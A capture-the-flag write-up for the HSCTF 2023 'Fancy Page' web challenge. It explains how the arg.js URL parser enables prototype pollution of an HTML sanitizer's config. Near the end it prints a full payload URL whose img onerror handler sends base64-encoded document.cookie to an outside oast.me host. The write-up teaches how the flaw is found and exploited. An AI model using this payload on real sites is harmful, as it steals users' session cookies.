Fancy Page


By: smashmaster

Tags: web HSCTF-2023

Problem Description:

No description was given on rctf.


Reveal Hints What's fancy about the javascript?

First Look

Let’s just type in some random text and click submit. Fancy form filling There’s an admin bot linked at the bottom of the page, so we immediately suspect that the challenge is to XSS. Painful looking page But if we take a dive into the source code, we see that in /scripts/display.js the challenge authors have thought about this, and deployed the latest state of art, most insane html sanitizer library (insane is like dompurify but a lot smaller and cooler sounding). Digging around given the config

const options = {
	allowedAttributes: {
		a: ["href"],
		abbr: ["title"],
		details: ["open"],
		"*": ["id", "dir"],
	allowedClasses: {},
	allowedSchemes: ["http", "https"],
	allowedTags: [
	filter: null,
	transformText: null,

We are unable to find any element or attribute to exploit so we start looking elsewhere.

The red flag

(we haven’t actually found any flags yet)

We can see that the page seems to be pulling our custom page data from url parameters. It does this with arg.js dependency. This is a red flag because the task we want to achieve in this page doesn’t really require so much extra code from another dependency. In fact, if you’ve ever developed in js before and come across this exact problem you’ve probaly found an easier way to do it. My way of getting url parameters is simply:

let usp = new URLSearchParams(location.search);
console.log(usp.get("q")); // if we were to run this on a google search we'd get the search query

So we’ll investigate this dependency for any interesting behavior that is not actually needed but could be exploited.

Cool feature waiting to be abused

According to their github README arg.js makes itself different from the above approach by supporting an interesting feature: Creating complex js collections like lists and objects from the url. For example (and I’m taking this straight from their readme):


We get the basic behavior that we implemented in vanilla js above when we evaluate Arg("name") == Mat. We can also see that using dot notation we can construct objects and lists.

//= [
//    { city: "London", country: "UK" },
//    { city: "Boulder", country: "US" }
//  ]

Creating lists isn’t really of interest to us because passing a list containing a string as our input to insane just crashes it. But the ability to create objects with any key and value is interesting for us as it may open up the possibility of Prototype Pollution.
Let’s examine the properties of an empty object, which should have no explictly added keys. JS Bear Object Created We list the keys in devtools through their autocompleter: The keys of the js bear object, there are quite a few I’ll write about what the javascript properties do later, but for now the one we are interested in is __proto__. prototype of prototype of string is the prototype of object If we assume everything in js is an object, you could say that prototypes are where the objects come from. Every time we make a new object, a sort of copy is made from their most shallow prototype (the one we access with .__proto__ but not .__proto__.__proto__). Our bear is an object and our string is a String which is also an Object hence why their prototype chains equal at that point. Prototype pollution happens when we taint those structures that are used to construct new objects. Since arg.js is powertful enough to let us reach down the prototype chain, we can first construct a string, and then change the prototype of the prototype of the string. But why does that help us?

Finding the place to pollute?

We can eliminate a few places. Setting an abritrary tab title is not going to work and neither is anything in the css as they will only change the styling of the page by a bit. So this means we want

let sanitized = insane(Arg("content"), options, true);
content.innerHTML = sanitized;

to do something dangerous! We can’t overwrite anything that is being used as a function because of the fact that we can’t construct functions to be called from arg.js. However guess what is an object (it will be made with {} or []) that is being used here?

If you said the config, you’re correct. We craft a very nasty title in the url parameter (arg.js seems to be lazy and doesn’t actually read your data until you call Arg('parameter') so using any of the style properties afterwards is not going to work. ), that reaches down to it’s __proto__.__proto__ and changes some attribute which will be reflected in every object. Conviniently the insane config already allows us to add img tags so we just add allowing the tags src and onerror to enable our XSS in the content url parameter.

Bringing it all together we get the payload: http://fancier-page.hsctf.com/display.html?color=red&title=xd&title.__proto__.__proto__.img[0]=src&title.__proto__.__proto__.img[1]=onerror&title.__proto__.__proto__.allowedTags[0]=script&content=%3Cimg%20src%3D%22bad%22%20onerror%3D%22fetch%28%27https%3A%2F%2Fchui1ceasv7b3r9eq3pgeuxu8k97yyoy6.oast.me%2F%3Fc%3D%27%2Bbtoa%28document.cookie%29%29%22%3E Deconstructed and parsed in js (this is just the standard failed img load error xss that is used for html setting xss challenges with the cookie encoded in base64 for safe travels to our server):

    "http://fancier-page.hsctf.com/display.html?color": "red",
    "title": "xd",
    "title.__proto__.__proto__.img[0]": "src",
    "title.__proto__.__proto__.img[1]": "onerror",
    "title.__proto__.__proto__.allowedTags[0]": "script",
    "content": "<img src=\"bad\" onerror=\"fetch('https://chui1ceasv7b3r9eq3pgeuxu8k97yyoy6.oast.me/?c='+btoa(document.cookie))\">"

High quality challenge imho. This is a very neat introduction to prototype pollution and how to spot it along with the dangers of things that deserialize deeply.